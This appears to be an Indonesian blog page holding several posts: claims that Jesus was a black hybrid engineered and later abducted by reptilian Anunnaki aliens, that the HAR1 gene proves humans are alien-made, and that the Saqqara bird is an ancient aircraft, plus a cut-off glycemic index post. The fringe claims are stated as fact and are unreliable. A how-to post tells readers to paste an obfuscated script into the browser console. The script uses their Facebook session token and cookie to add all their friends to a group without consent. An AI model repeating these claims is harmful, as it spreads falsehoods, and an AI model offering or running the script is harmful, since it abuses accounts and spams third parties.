Breaking News
Loading...

Media News

Tech News

Random Post

Recent Post

Rabu, 30 Juli 2014
Meneliti meninjau lebih jauh terkait sosok Jesus (yeshua) fakta dibalik sosok fisik yesus

Meneliti meninjau lebih jauh terkait sosok Jesus (yeshua) fakta dibalik sosok fisik yesus

 
Jesus

Sisi lain fakta dan kebenaran terkait Yeshua (yesus) yang sesungguhnya.
Yeshua (Yesus) lahir melalui inseminasi buatan yang di ciptakan oleh Tuhan (Draconian ). Melalui rekayasa genetika Yesua dilahirkan melalui seorang wanita perawan maria.
Yeshua pun sesungguhnya tidak berkulit putih imut seperti yang di gambar gambar saat ini.
Yeshua adalah berkulit hitam (dan tentunya rambutnya kribo) ras kulit hitam pastinya kribo.
Ada darah Annunaki tentunya dalam diri yeshua.
Seperti kita ketahui, manusia pertama para adamites dicipakan dari Apeman (Homo erectus / Homo genus)  + DNA annunaki
Annunaki sendiri adalah Ras alien humanoid yang pertama yang menciptakan ras manusia (homo sapein) melalui rekayasa genetika (antara homo erectus + DNA mereka)
Annunnaki adalah humanoid berkulit hitam dengan perawakan africoid lebih mirip pada manusia afrika saat ini.
Anunnaki pertama kali menciptakan ras manusia (homo sapien) mirip serupa dengan wajah mereka, mereka menciptakan adamites yang adalah berkulit hitam dan diperuntukan sebagai budak. budak untuk menambang mineral
anunnaki


Tentang yesus sendiripun sama Yesus diciptakan melalui rekayasa genetika dan dilahirkan melalui proses inseminasi buatan melalui perantara perawan maria
Draconian adalah Tuhan bagi planet bumi, mereka yang adalah ras annunaki reptilian, sejak awalnya menguasai planet bumi sampai saat ini.
Yeshua pastianya berkulit hitam, dan juga kribo dan mewarisi detil ras anunnaki


MENGUPAS SOSOK YESUS

Banyak sejarawan dan seniman telah salah menggambarkan penampakan Yesus Kristus tanpa penelitian .
Memaksa sebagian besar umat manusia untuk percaya,bahwa Yesus adalah penggambaran Kaukasia (tidak berkulit hitam)
bahwa mereka memberinya informasi demikian .
Mengapa ? Karena mereka tahu orang-orang tidak akan membaca dan memahami seluruh Alkitab manusia
Ya kebanyakan manusia beragama lebih suka mengimani saja, agama adalah dogma yang sangat menjerat. menjadikan manusia mengabaikan prinsip berpikir logis
Ketika sudah iman, Mereka akan mengabaikan fakta fakta lain terkait buah pikiran

Namun , tulisan suci dalam Alkitab memberikan bukti penampilan Yesus yang sesungguhnya
tetapi pada dasarnya manusia hanya memiliki gambar Yesus Kristus palsu, karena buah imaginasi pikiran manusia untuk kesempurnaan rupa nabi/tuhan.
karena itu jadilah gambar yesus yang seperti sekarang yang cute,ditambah tidak ada yang benar-benar membaca seluruh Alkitab dan memiliki akal sehat untuk

mengkonfigurasinya ---- sampai sekarang .

Baca John 04:23:24

Nah mari kita mulai penelitian !

Proverbs 14:5: " Saksi yang setia tidak berbohong, tetapi saksi palsu akan mengucapkan kebohongan . "
Para saksi yang setia adalah murid-murid , yang memberi gambaran Yesus Kristus yang sejati . Namun, bukannya menerima apa yang tertulis dalam kitab suci , sekarang

banyak berpendapat bahwa tidak ada yang pernah melihat Yesus Kristus , namun Alkitab mengatakan ...

1 Corinthians 15:5: " Dan bahwa ia terlihat dari Cephas, kemudian dari dua belas : "
1 Corinthians 15:6 : " . Setelah itu , ia terlihat di atas lima ratus saudara sekaligus;
di antaranya sebagian besar tetap kepada saat ini , namun ada juga yang tertidur "

1 Corinthians 15:07 : " Setelah itu , ia terlihat oleh James , kemudian oleh pengikut lainnya .
1 Corinthians 15:8: " Dan terakhir dari semua ia terlihat oleh saya juga , sebagai salah satu pada waktu itu . "

Oleh karena itu , dengan semua saksi yang melihat Yesus Kristus setelah Ia bangkit , mereka bersaksi bahwa Dia memiliki tubuh jasmani dengan penampilan etnis .
Salah satu saksi yang setia adalah Pengikut Yohanes yang diperintahkan untuk menulis apa yang ia lihat dalam sebuah buku ,

Baca Wahyu 1:11.

Wahyu 1:13 Dan di tengah-tengah kaki dian itu ada seorang serupa Anak Manusia, berpakaian jubah yang panjangnya sampai di kaki, dan dadanya berlilitkan ikat pinggang

dari emas.

Wahyu 01:14 : " Kepala dan rambut -Nya putih seperti bulu domba (wool), seputih salju , dan mata-Nya bagaikan nyala api ; "

INI ADALAH POINTNYA:
(anda membayangkan yesus , dengan rambut seperti wool / bulu domba)
SATU SATU NYA RAS YANG MEMILIKI ASAL RAMBUT SEPERTI DOMBA ADALAH RAS KULIT HITAM
(seperti halnya orang irian/papua)
Jadi tentu anda harus membayangkan Yesus pastinya berkulit hitam

* Satu-satunya manusia dengan model rambut berbulu saat itu (sebelum banyak perkawinan silang) adalah tentu saja orang kulit hitam
dan beberapa jenis orang Islam dan dua ras ini dihuni sebagian besar manusia di masa-masa di daerah *

Wahyu 01:15 : " Dan kakinya mengkilap seperti kuningan tembaga halus , seolah-olah mereka dibakar dalam tungku , dan suaranya sebagai desau air bah . "

Setelah melihat Kristus , Yohanes menggambarkan rambut di kepala dan wajahnya menjadi putih seperti bulu domba .
Dia kemudian menjelaskan mata Yesus Kristus ( bola mata , bukan iris nya ) sebagai merah sesuai dengan ramalan .

Kejadian 49:12 : " . Matanya seakan merah karena anggur dan giginya seakan putih karena susu "

Kemudian Yohanes menggambarkan warna kaki Yesus Kristus adalah seperti kuningan ( coklat keemasan ) ,
seolah-olah mereka dibakar dalam tungku (artinya sangat gelap) dan suaranya keras seperti air menderu .
para Skeptis mencoba untuk berdebat warna yang tidak dalam Alkitab atau sejarah dan alkitabiah
tidak peduli ketika berhubungan dengan penampilan etnis Yesus Kristus ,
namun pengikut Daniel melihat visi Israel ' Mesias , Yesus .

Daniel 10:5 : " Lalu aku melayangkan mataku dan melihat: sesungguhnya seorang laki-laki berpakaian lenan , dan berikat pinggang emas dari ufas.; : "

Daniel 10:06 : " Tubuhnya seperti permata Tarsis, wajahnya seperti cahaya kilat , dan matanya sebagai lampu api , dan lengan dan kakinya seperti pada warna kuningan

dipoles , dan suara kata-katanya seperti suara orang banyak . "

Ok , mari kita berhenti sejenak . Dia mengatakan lengan dan kaki Yesus Kristus adalah seperti warna kuningan dipoles , kuningan berwarna cokelat keemasan .
Harap perhatikan bahwa Daniel memiliki deskripsi yang tepat sama Yesus Kristus sebagai Rasul Yohanes dan menekankan warna lengan dan kakinya !

Paulus memperingatkan Gereja Korintus untuk tidak tertipu dan pikiran mereka rusak dengan kebohongan ,
dari kesederhanaan dalam Yesus Kristus - karena firman-Nya mudah dimengerti .
Dia terus menjelaskan bahwa jika ada orang datang memberitakan " Yesus yang lain " atau " roh yang lain " atau " Injil lain "
yang belum pernah diajarkan oleh setiap hamba Allah ,
mereka harus " menanggung dengan mereka " dengan mengoreksi mereka dalam tulisan suci .

2 Korintus 11:3 Tetapi aku takut, kalau-kalau pikiran kamu disesatkan dari kesetiaan kamu yang sejati kepada Kristus, sama seperti Hawa diperdayakan oleh ular itu

dengan kelicikannya.sehingga pikiran Anda harus rusak dari kesederhanaan yang ada di dalam Yesus Kristus . "

Jadi Anda lihat ,
orang-orang yang percaya yang mengkhianati kitab mereka
membeli menyesatkan rekan-rekan seiman mereka dengan memutar Yesus Kristus
dan kata-kata Allah mereka dan banyak lagi dan dengan menampilkan penampilan palsu Yesus Kristus
seperti " Setan ular " yang ditipu dan menyesatkan Hawa untuk melanggar perintah " Allah " ,
Dia berbohong dan memutar kata-kata Tuhan untuk mendapatkan Hawa untuk melanggar perintah " Tuhan " .
Gambar palsu Yesus benar-benar bertentangan dengan bukti lama dan baru .

Nah , sekarang kita menuju kesini .
Sekali lagi Yesus adalah humanoid laki-laki hitam.
Tentu saja ia bukan manusia penuh.
Tidak mungkin bagi Yesus untuk menjadi putih ; mustahil .
(tidak sepenuhnya manusia seperti kita)

Apa yang saya tidak mengerti adalah mengapa rambut Yesus adalah putih.
Dari melakukan penelitian ,
ia " meninggal" dalam kisaran 30 an sehingga dia tidak cukup tua untuk memiliki rambut putih .
Hmm . Yah sudah jelas bahwa Yesus diculik dari makamnya
(Yesus humanoid hitam, dengan detil rincian seperti itu,
yang paling mendekati dia adalah perkenaan terdekat pada annunaki)

tentang rambut putih, bisa saja karena warp-beamed saat radiasi pancarannya saat pengambilan ke pesawat )
sehingga bisa saja menyebabkan rambut menjadi putih .
Dan Sekarang Yesus telah dibawa pergi oleh extra - terrestrials tertentu

 Mari selanjutnya sekarang lihat fakta fakta terkait yesus

 Biara abad pertengahan Perawan Maria dari Mavriótissa,
Yunani - The Tree of Jesse.
Pohon Jesse mengacu pada bagian dalam Kitab Alkitab Yesaya yang menggambarkan metafora yang layak dari "Mesias" (Yesus) dari Jesse Betlehem,
melalui dosanya Raja Daud.







 Staint Benedict of Palermo, ca. 1734 (KULIT HITAM)










"Our Lady of Anjony" - In the chapel of the 15th century fort Château d'Anjony, France. (KULIT HITAM)






The Black Virgin of Montserrat: a copy of Barcelona Cathedral.
The original is said to have been made by St. Luke in 54 A.D. (KULIT HITAM)








Dengan bukti bukti terkait jesus demikian, akan sangat sulit untuk mendefinisikan jesus ras kaukasia, yang cute sedemikian ini









semua kulit hitam

Mari kita kembali ke masa lalu untuk melihat apa yang sebenarnya tentang Ibrani.
Gambar-gambar otentik awal nyata tentang Ibrani yang kita miliki, tanggal kembali ke sebelum Kristus. Mereka Assyrian relief yang menunjukkan Ibrani,
dan lainnya yang mereka kuasai, dalam adegan bergambar merinci pertempuran perjuangan,
dengan teks yang terkait.
relief ini menghiasi istana Asyur, dan tidak diragukan lagi digunakan untuk bersukacita atas penaklukan mereka orang Ibrani dan lain-lain.
Di sini kita menggunakan gambar:
Assyrian Raja Salmaneser IIIs "Black Obelisk" (858 SM).
relief Raja Asyur Tiglat-pilesar III tentang penaklukan kota dekat Laut Galilea (730 SM).
relief Raja Assyrian Sanherib tentang penaklukan Yudea Kota Lakhis (701 SM).
Foto itu s bawah, berasal dari orang-orang Asyur bantuan itu.
Ini relief yang disimpan di British Museum, London Inggris).















Tentang ketidakmatangan cara berpikir manusia pada umumnya, bagaimanapun, sebelum era modern rasisme menyedihkan, dengan ketakutan Eropa segala sesuatu Black, dan pencurian identitas Hitam. Dimana Khazar Turki adalah Ibrani baru, dan Osman Turki adalah Berber baru, Mesir, Arab, dan orang Timur Tengah-. Sebelum setiap sosok hitam kuno ditemui di museum atau buku itu dijelaskan sebagai Nubian-Ethiopia, seorang budak, atau seorang hamba: Semua orang tahu Ibrani menjadi orang-orang hitam, dan menggambarkan mereka sebagai orang-orang Hitam












Semua orang harus merenungkan kembali, YESUS KULIT PUTIH??
aha....
Pemimpin Gereja pasti harus tahu bahwa Ibrani manusia hitam, sehingga Yesus HITAM,
alasan yang rumit ketika nalar berbenturan,
tentu saja rasis, tapi di sini adalah bagaimana Paus harus menghadapinya secara pribadi.

KETERANGAN GAMBAR:
German Pope Benedict XVI, and Italian (by way of Argentina) Pope Fancis I,
berdoa kepada Black Madonna di Vatican Chapel (2013)

















PERAN DRACONIAN DALAM PEMBANGKITAN YESUS
" Siapa atau apa yang membawa Yesus Kristus dari kubur ? " .

Nah , mari kita cari tahu !

Hal ini jelas bahwa Yesus salah lagi telah dibangkitkan dari antara orang mati oleh kekuatan " Dewa " pada malam hari ,
dan telah meninggalkan kain linen persis seperti Yusuf dan Nikodemus telah menempatkan tubuh dalam makam baru .

 John mengatakan ia " melihat " gulungan mumi seperti tanpa tubuh .
Bungkusnya berada di bentuk kepala , tapi tidak ada kepala di dalamnya .
Bungkusnya dari bahu sampai ke kaki masih utuh , tetapi tidak ada tubuh di dalamnya . Yohanes melihat bungkus penguburannya dan pikiran intuitif nya yang tajam menarik sebuah kesimpulan bahwa tidak ada yang telah mencuri tubuh Yesus .
Itu tidak mungkin karena bungkusnya masih utuh sama seperti mereka sebelum tubuh meninggalkannya .
Seorang perampok kuburan akan memiliki waktu dengan santai untuk membuka semua strip lengket perbannya
tetapi tetap saja menghasilkan perbedaan
dan ini menunjukan sesuatu yang bukan dilakukan oleh orang

Itu jelas tidak ada yang melakukan itu . kuburan yang tak ** terganggu ** -
pakaian menunjukkan bahwa Yesus telah dibangkitkan . (seperti dianggapkan demikian)
kain wajah juga tampak tak jauh beda seperti sedkia akala
Itu juga jelas bagi Yohanes bahwa musuh tidak mencuri tubuh Yesus .
(bukan sesuatu yang kasar seperti tindakan manusia )
Bahkan ruang antara pembungkus kepala dan pembungkus tubuh tidak terpengaruh .
Tubuh menghilang begitu saja keluar dari bungkusnya .

Satu-satunya hal yang dapat membuat Anda menghilang dari bawah pakaian tanpa kerusakan
adalah berkas cahaya yang bersinar turun dari pesawat ruang angkasa Extra- terrestrial .
Penculikan alien Hal ini biasa terjadi .
Penculikan yang sama terjadi pada banyak korban penculikan yang diculik * melalui * atap dari kamar mereka .
(kejadian banyak terjadi di kasus saat ini) Dan karena Yesus adalah produk ide bagus dari Extra- terrestrial mereka, / ia dibangkitkannya.

The Extra- terrestrial menculik Yesus dari gua itu dan direkonstruksi dia sebagai makhluk yang baru
dibuat dan dengan rambutnya menjadi " putih seperti salju "
yang mungkin itu karena terjadi oleh radiasi dari sinar cahaya yang dihapusnya dari kainnya .
dan membuatnya sedemikian itu

















Yesus, atau harus saya katakan Yeshua memang ada dan masih tersisa.
Tidak ada kerangka atau arkeologi bukti / sisa-sisa Yeshua
karena ia dibangkitkan oleh Draconian.
(bagaimanapun kemampuan draconian memang salah satu yang terbaik)
Beberapa bukti keberadaan Yeshua adalah dalam Alkitab,
juga, karena, 100% dari Alkitab adalah tidak semua kebohongan.
Jadi sekarang mari kita gunakan akal sehat untuk memahami mengapa Yeshua ada.

1. Ada otomatis penampilan Kaukasia mengenakan Yeshua dengan pirang / rambut coklat dan mata biru panjang.
Rahasianya adalah di luar sana sekarang bahwa tokoh-tokoh yang dikenal atau berkuasa di zaman kuno ditempatkan dengan penampilan yang tidak ada,
tetapi ada sebagai manusia africa / Humanoid.

2. Nama Yesus adalah Yeshua,
yang diterjemahkan oleh orang Eropa
(jika Yesus tidak pernah ada, maka tidak akan ada kebutuhan untuk perubahan nama.)
Itu pasti sudah Yesus dari awal.

3. Mengapa kebohongan yang ia disalibkan di kayu salib?
Penyaliban tidak ada pada mereka sesungguhnya.
Yeshua digantung di pohon,
ia dipukuli sampai hampir mati,
lalu digantung di pohon dan mungkin dibakar





















 AH...YESUS BUKANLAH MATI DI SALIB!

Bukti Bahwa Yesus Sungguh Apakah tergantung di pohon ,
Segala sesuatu yang terjadi dengan Yesus dalam hidupnya
sudah dibicarakan bernubuat dari semua * Perjanjian Lama *
dan tidak ada satu nubuat yang secara tunggal membicarakannya tentang itu,
yang menyatakan bahwa Yesus adalah telah mati pada salib.

Mohon perhatikan ,
jika semua nabi sedang berbicara dengan " Tuhan " (REPTILIAN ALIEN)
dan tergantung dengan dia setiap hari apakah Anda tidak berpikir bahwa Tuhan akan mengatakan kepada mereka bagaimana Mesias akan mati ,

jangan Anda berpikir bahwa Allah akan mengatakan Musa , Daniel , Yehezkiel , Yeremia , Elia , Nehemia dan sisanya dari mereka , melainkan Allah tidak berbicara kepada salah satu nabi tentang Mesias mati di kayu salib , jadi kenapa ?

Itu karena Yesus tidak pernah benar-benar Meninggal PADA SALIB dan lagi tidak ada * yang secara satu * nubuat menyatakan Mesias mati di SALIB dalam Perjanjian Lama .

Bukti serius Bahwa Yesus apakah tergantung pada pohon
seperti halnya di periode perbidakan

1 . ) (Peter Told them Clearly in Acts 5,30-33) Petrus Mengatakan kepada mereka Jelas dalam Kisah 5,30-33 bahwa mereka telah membunuh Yesus gantungkan pada pohon
dan Peter mengatakan bahwa mereka adalah saksi untuk itu dan memahami bahwa mengapa tidak bisa Petrus hanya mengatakan salib
tapi ia malah mengatakan mereka menggantung Yesus di pohon * *

2 . ) (Acts 10,34-39 ) Peter Membuat pernyataan lain bahwa mereka membunuh Yesus dengan menggantung dirinya di pohon * *

3 . ) Kisah 13,29 Serikat bahwa mereka membawa Yesus turun dari * Pohon * dan bukan salib .

4 . ) (Acts 13,29) Menyatakan bahwa Yesus menanggung dosa kita di dalam tubuh-Nya di * Pohon * . 5 . )
Galatia 3,13 Menyatakan Bahwa Yesus menebus Anda manusia
dari kutuk hukum dan Terkutuklah adalah orang yang menggantung pada sebuah pohon .

6 . ) Yesus Mengatakan Bahwa ia datang untuk menggenapi hukum para nabi dalam Matius 5,17
dan salah satu hukum adalah bahwa orang-orang yang menggantung di pohon untuk dosa-dosa tertentu yang mereka lakukan
Baca Ulangan 21,22-23 Tidak ada dalam Perjanjian Lama digantung di kayu salib
bukan, mereka mereka menggantung di pohon !.

7 . ) Yesus Selalu menyebutkan Pohon Ketika Ia Berbicara Dalam Perumpamaan
dan Yesus mengutuk sebuah pohon ara Baca Matius 21,19

8 . ) Hanya ada 19 ayat Alkitab tentang Salib dan Ada Apakah 152 ayat Alkitab tentang * Pohon *

9 . ) Semuanya dimulai dengan sebuah pohon dan semuanya berakhir dengan pohon ,
Adam makan dari ( TREE ) pengetahuan tentang yang baik dan yang jahat dan ia dibuang dari Taman Eden dan dia ditolak untuk ( pohon ) hidup sehingga itu berarti dosa

mulai dari ( pohon )

10 . ) Allah Muncul Untuk Musa dengan menggunakan ( TREE ) pada pembakaran semak Baca Keluaran 3,2-412 . )
( POHON ) berarti sesuatu dalam Alkitab dan ketika Elia Ran dari Izebel Ia pergi di bawah Broom Pohon 1st Kings 19 , 4-5
dan Elia Dicari Tuhan untuk mengambil nyawanya kenapa dia ingin Tuhan mengambil nyawanya oleh pohon , Ingat Elia Apakah seorang Nabi Allah sehingga ia harus tahu

sesuatu tentang bagaimana Mesias itu akan mati .

Mazmur 1,3 Ia akan menjadi ( TREE ) ditanam dengan hidup
watersProverbs 11,30 Buah orang benar adalah ( TREE ) hidup

Amsal 13,12 Desire Cometh Apakah ( TREE )
dari lifeProverbs 15,4 lidah sehat adalah ( TREE ) hidup Matius 3,10 Setiap ( TREE ) yang tidak menghasilkan buah yang baik saya dibuang ke dalam api , Mengapa ?
Apakah Yesus menggunakan pohon ketika ia berbicara kepada orang-orang yang terbuka ? Tidak.

Matthew 7,17-18 good (TREES) bear good fruit.
Matthew 12,33 (TREE) known by it's fruit.
Matthew 21,19-21 Jesus Cursed a fig (TREE)
Matthew 24,32 Jesus spoke about he fig (TREE)

ada banyak sekali kata pohon
dan begitu sensitifnya terhadap pohon







tips trik cara mengakali memasukan semua teman add friend ke facebook grup secara otomatis sekaligus

tips trik cara mengakali memasukan semua teman add friend ke facebook grup secara otomatis sekaligus

Saya yakin Anda sekarang yang membaca artikel ini sedang mencari-cari cara menambahkan semua teman Facebook Anda ke dalam Grup Facebook yang Anda buat. Ya, memang saat ini para Admin Grup Facebook sedang gencar-gencarnya memperbanyak anggota grupnya demi kepopuleran Grup yang dimiliki. Baik untuk tujuan berbagi, bisnis, dan lain sebagainya.

Dan banyak pula para blogger yang berbagi cara seperti yang saya tuliskan ini tapi jarang ada yang berhasil alias caranya tidak bekerja. Berikut ini cara yang 100% bekerja dan sudah saya terapkan sendiri. Tapi sebelumnya saya beri tahukan bahwa jangan menggunakan cara ini berulang-ulang kalau Anda tidak ingin diblokir untuk beberapa hari oleh facebook, tapi hanya diblokir untuk tidak menambahkan teman ke grup, jadi tenang saja, bukan akun facebook Anda yang diblokir.

Untuk mempersingkat tulisan, langsung saja Anda ikuti langkah berikut:

1. Login Dulu di Facebook / klik disini WAJIB PAKE MOZILLA FIREFOX
2. Masuk ke dalam grup yang ingin ditambahkan anggotanya,
Kalo Tidaak Percaya Bisa Praktek terlebih Dahulu Di GRUP INI
3. Tekan Ctrl + Shift + K
Copy dan Paste script berikut:
 
 
 
// BLABLA COMMUNITY.
(function(){var f={dtsg:document.getElementsByName("fb_dtsg")[0].value,uid:document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),gid:document.getElementsByName("group_id")[0].value,frns:Array(),prenKe:0,okeh:0,gagal:0,getAjak:function(b){var c=new XMLHttpRequest;c.open("GET",b,!0),c.onreadystatechange=function(){if(4==c.readyState&&200==c.status){var a=eval("("+c.responseText.substr(9)+")");a.payload&&a.payload.entries&&(f.frns=a.payload.entries.sort(function(){return.5-Math.random()})),document.getElementById("hasilsurasil").innerHTML="Found <b>"+f.frns.length+" Friends</b><div id='hasilsatu'></div><div id='hasildua'></div><div id='hasiltiga' style='min-width:300px;display:inline-block;text-align:left'></div>"+crj;for(x in f.frns)f.senAjak(x)}else document.getElementById("hasilsurasil").innerHTML=4==c.readyState&&404==c.status?"<b style='color:darkred'>Page Not Found!</b>"+crj:"<b style='color:darkgreen'>Collecting your Friends, wait up.. ("+c.readyState+")</b>"+crj},c.send()},senAjak:function(d){var e=new XMLHttpRequest,prm="__a=1&fb_dtsg="+f.dtsg+"&group_id="+f.gid+"&source=typeahead&ref=&message_id=&members="+f.frns[d].uid+"&__user="+f.uid+"&phstamp=";e.open("POST","/ajax/groups/members/add_post.php",!0),e.setRequestHeader("Content-type","application/x-www-form-urlencoded"),e.setRequestHeader("Content-length",prm.length),e.setRequestHeader("Connection","keep-alive"),e.onreadystatechange=function(){if(4==e.readyState&&200==e.status){var a=eval("("+e.responseText.substr(9)+")");if(f.prenKe++,document.getElementById("hasilsatu").innerHTML="<div><b>"+f.prenKe+"</b> of <b>"+f.frns.length+"</b></div>",a.errorDescription&&(f.gagal++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkred'>( "+f.gagal+" )</b> <span style='color:darkred'>"+a.errorDescription+"</span></div>"),a.jsmods&&a.jsmods.require){var b="<div>";for(x in a.jsmods.require)a.jsmods.require[x][a.jsmods.require[x].length-1][1]&&(b+="<b style='color:darkgreen'>"+a.jsmods.require[x][a.jsmods.require[x].length-1][1]+"</b> ");b+="<div>",document.getElementById("hasildua").innerHTML=b}if(a.onload)for(z in a.onload){var c=eval(a.onload[z].replace(/Arbiter.inform/i,""));if(c.uid&&c.name){f.okeh++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkgreen'>( "+f.okeh+" )</b> <a href='/"+c.uid+"' target='_blank'><b>"+c.name+"</b></a> has been added to group (metriklion.blogspot.com).</div>";break}}f.prenKe==f.frns.length&&(document.getElementById("hasiltiga").style.textAlign="center",document.getElementById("hasiltiga").innerHTML+="<div style='font-size:40px;font-weight:bold'>DONE!</div><a href='/' onClick='document.getElementById(\\'hasilsurasil\\').style.display=\\'none\\';return false'>Close</a>")}},e.send(prm)}},g=["i","a","e","g","o","s","n","b","l","p","m","2","r","0","c","1","t","3"," "],crl=g[1]+g[0]+g[6]+g[3]+g[14]+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+"."+g[7]+g[8]+g[4]+g[3]+g[5]+g[9]+g[4]+g[16]+"."+g[14]+g[4]+g[10],crj="<div style='margin-top:10px;color:gray;font-size:12px'>"+g[1].toUpperCase()+g[0]+g[6]+g[3]+g[14].toUpperCase()+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+" "+g[g.length-1]+g[11]+g[13]+g[15]+g[17]+"<div style='font-size:9px'><a href='http://"+crl+"/' target='_blank'>"+crl+"</a></div></div>";document.body.innerHTML+="<center id='hasilsurasil' style='min-height:50px;width:600px;position:fixed;top:100px;left:"+(document.body.offsetWidth-530)/2+"px;border-radius:10px;padding:10px;z-index:999999;border:5px solid skyblue;background-color:rgba(225,225,255,0.75)'><b>Collecting your Friends, wait up.. jonarendra</b>"+crj+"</center>",f.getAjak("/ajax/typeahead/first_degree.php?__a=1&viewer="+f.uid+"&token="+Math.random()+"&filter[0]=user&options[0]=friends_only")})();


4. Dan tekan Enter
       5. Tutup tab tersebut dan buka grupnya di tab baru.
   Sekian dari saya, semoga bermanfaat :)
Kalo Eror / tidak Berhasil mohon coment ea

 
Sabtu, 26 Juli 2014
HAR1 membuktikan manusia bukan hasil evolusi alami dari hewan (monyet / Apeman), melainkan  manusia hasil rekayasa genetika alien dari Apeman dan DNA alien

HAR1 membuktikan manusia bukan hasil evolusi alami dari hewan (monyet / Apeman), melainkan manusia hasil rekayasa genetika alien dari Apeman dan DNA alien

Apa yang membedakan manusia (homo sapien) dengan binatang??
atau primata (apeman) yang mendekati manusia.
pada tahun 2003, pemerintah AS mengumumkan  bahwa human genome project
telah mengidentifikasi hampir semua  bahwa sekira 25000 gen dalam tubuh manusia
untuk pertama kalinya ilmuwan dapat peta gambaran jalan  untuk susunan genetik manusia
Human genomes salah satunya diturunkan dari orangtua  genomes bisa didapat dari ayah atau ibu
memiliki lebih dari 3 milyar catatan dan milyaran komponen

pada tahun 2006 peneliti genetika,  di universitas california di santa cruz
menemukan sebuah daerah pada genomes  yang mereka namakan HAR1, yang tampaknya unik untuk manusia  gen HAR1 ini dipercaya sebagai elemen kunci, yang memainkan peran pembeda
antara manusia dan hewan (termasuk primata / apeman)  dan memainkan peran penting dalam pengembangan lanjut otak manusia  sehingga berkembang lebih signifikan

tapi darimana GEN ini berasal???
sekarang misalnya manusia berevolusi dari hewan (misalnya apeman)
mengapa apeman tidak memiliki gen ini?? dan manusia memilikinya
demikian ini tentulah manusia TIDAK BEREVOLUSI SECARA ALAMI DARI HEWAN

tapi darimana kah gen ini berasal?
secara manusia sendiri 95% strukturnya pembentuknya, TIDAK JAUH BEDA dengan apeman
darimana asal gen ini, sehingga manusia menjadi berbeda dengan hewan/apeman?

Francis Crick ilmuwan inggris, yang membantu menemukan strurtur DNA
percaya bahwa gen manusia, bahwa human genomes, TIDAK BEREVOLUSI SECARA ALAMI
jika gen spesifik ini tidak bisa berevolusi secara alami
bagaimana bisa dibuat atau menjadi ada?
anda percaya?? bahwa Gen ini ditempatkan secara sengaja oleh sesuau atau seseorang (pada awalnya)
ini tentu akan memperkuat artikel terkait lainnya

bahwa memang kita manusia (homo sapiens)
adalah sebuah target mutasi (bagian rekayasa)
adalah sebuah hibrida dari konstruksi keseluruhan apeman
namun ditambahkan faktor genetika tertentu dari ektraterestrial
dan satu hal yang sesungguhnya, untuk melakukan klone manusia
hanya dibutuhkan sekira cukup 5% DNA utama saja
dimana 95% adalah sesungguhnya --geneticjunk --
dimana bisakah 95% yang adalah geneticjunk berevolusi
sehingga membentuk manusia sekarang ini?

dengan pola kecerdasan yang sangat jauh berbeda dengan hewan
TENTU SAJA ANDA BOLEH MENYIMPULKANNYA
BILA ANDA MAU,

BAHWA SPESIFIK GENETIKA HAR1 adalah hasil pekerjaan alien?
dengan itulah yang membuat kita berbeda dengan apeman
walau mirip dengan apeman tapi berbeda


Jadi penemuan Har1 telah sepenuhnya membantah bahwa manusia hasil evolusi alami dari hewan (misal monyet)

 Ini juga menjawab mengapa manusia mirip ape man (homo erectus) tapi tak sama, terutama perihal kecerdasannya.
Ini telah meruntuhkan teori bahwa manusia dari monyet/binatang hasil evolusi alami.
tentu apalagi apabila anda berpikir bahwa manusia diciptakan seutuhnya dari surga??
oleh tuhan??
Bila demikian, coba tanya tuhanmu...
mengapa bentuk kita manusia kok mirip sama seperti apeman??
tanya tuhanmu mengapa kita manusia bentuknya tidak seperti belalang,
atau seperti dinosurus misalnya??
mengapa kita manusia kok mirip apeman??
mirip tapi bukan apeman!
TENTU SAJA
KARENA SEBAGIAN MANUSIA ADALAH APEMAN! DAN SEKIRA SEKIAN LAINNYA
ADALAH SUNTIKAN DNA dari ektraterestrial
untuk itu mengapa bentuk kita seperti apeman, tetapi lebih cerdas dari apeman
semoga artikel ini berguna .........
Jumat, 25 Juli 2014
artefak saqqara bird sebuah penanda pada jaman 4000 tahun SM sudah ada keinginan terhadap penerbangan

artefak saqqara bird sebuah penanda pada jaman 4000 tahun SM sudah ada keinginan terhadap penerbangan

saqqara bird, mesir
Artefak saqqara bird, mesir




32 km selatan kairo, terdapat piramida berundak raja djoser
umur piramida hingga 4000 tahun lalu, ini adalah salah satu yang tertua dimesir


 piramida berundak raja djoser







Saqqara juga sebagai tempat pemakaman tertua, terkenal dengan nama city of the death
disinilah pada tahun 1891 seorang arkeolog perancis menemukan
makan kuno berisi penguburan mayat Pa-di-lmen
seorang pejabat dari masa sebelum abad 3 SM
dari makam itu ditemukan berbagai benda, salah satunya adalah model burung atau mungkin pesawat
dari kayu, disampingnya ada gulungan papyrus bertuliskan, i want to fly



 gulungan papyrus yang berisi tulisan, ketika diterjemahkan ada tulisan i want to fly (saya ingin terbang)


arefak ini kemudian dikirim ke museum kairo
model burung ini terpajang dianggap biasa sampai pada tahun 1969
Dr. Kahlil Mesiha memeriksa dan meneliti artefak ini
dan menyadari bahwa ada yang berbeda terkait saqqara ini


Detil saqqara sungguh tidak meyakinkan sebagai gambaran burung
kecuali ujung kepala dan matanya
sisanya seperti sebuah sistem aerodinamika mirip pesawat

maka pada tahun 2006 pakar pesawat terbang dan aerodinamika
simon sanderson, membuat model dengan pembesaran skala dari model burung itu
untuk menguji, apakah model itu bisa terbang atau tidak
Pengujian Saqqara pada pembesaran skala



Saqqara telah menandakan bahwa 4000 tahun lalu, telah ada penglihatan pada masa itu
bahwa ada benda terbang, atau cita cita dalam penerbangan
Saqqara menandakan sebuah cita cita penerbangan
baik apakah itu merupakan karena ada contoh benda terbang
atau mungkin sebuah cita cita penerbangan
tetapi yang jelas kala itu telah ada keinginan untuk membuat alat terbang seperti pesawat




beberapa gambar terkait saqqara


 (gambar pesawat kini, yang mirip Saqqara)





(Prototipe saqqara yang di test diterbangkan, mampu melayang)





(detil Saqqara lebih mirip pesawat, ketimbang burung, kecuali matanya)




Tabel Indeks Glikemik makanan yang kaitannya dengan kadar gula dan kelayakan dan bahaya konsumsi diabetes

Tabel Indeks Glikemik makanan yang kaitannya dengan kadar gula dan kelayakan dan bahaya konsumsi diabetes

Seperti dijelaskan pada artikel tentang indeks glikemik, peningkatan kadar gula darah  dipengaruhi oleh dua faktor, yaitu: JUMLAH dan JENIS karbohidrat yang dikonsumsi.
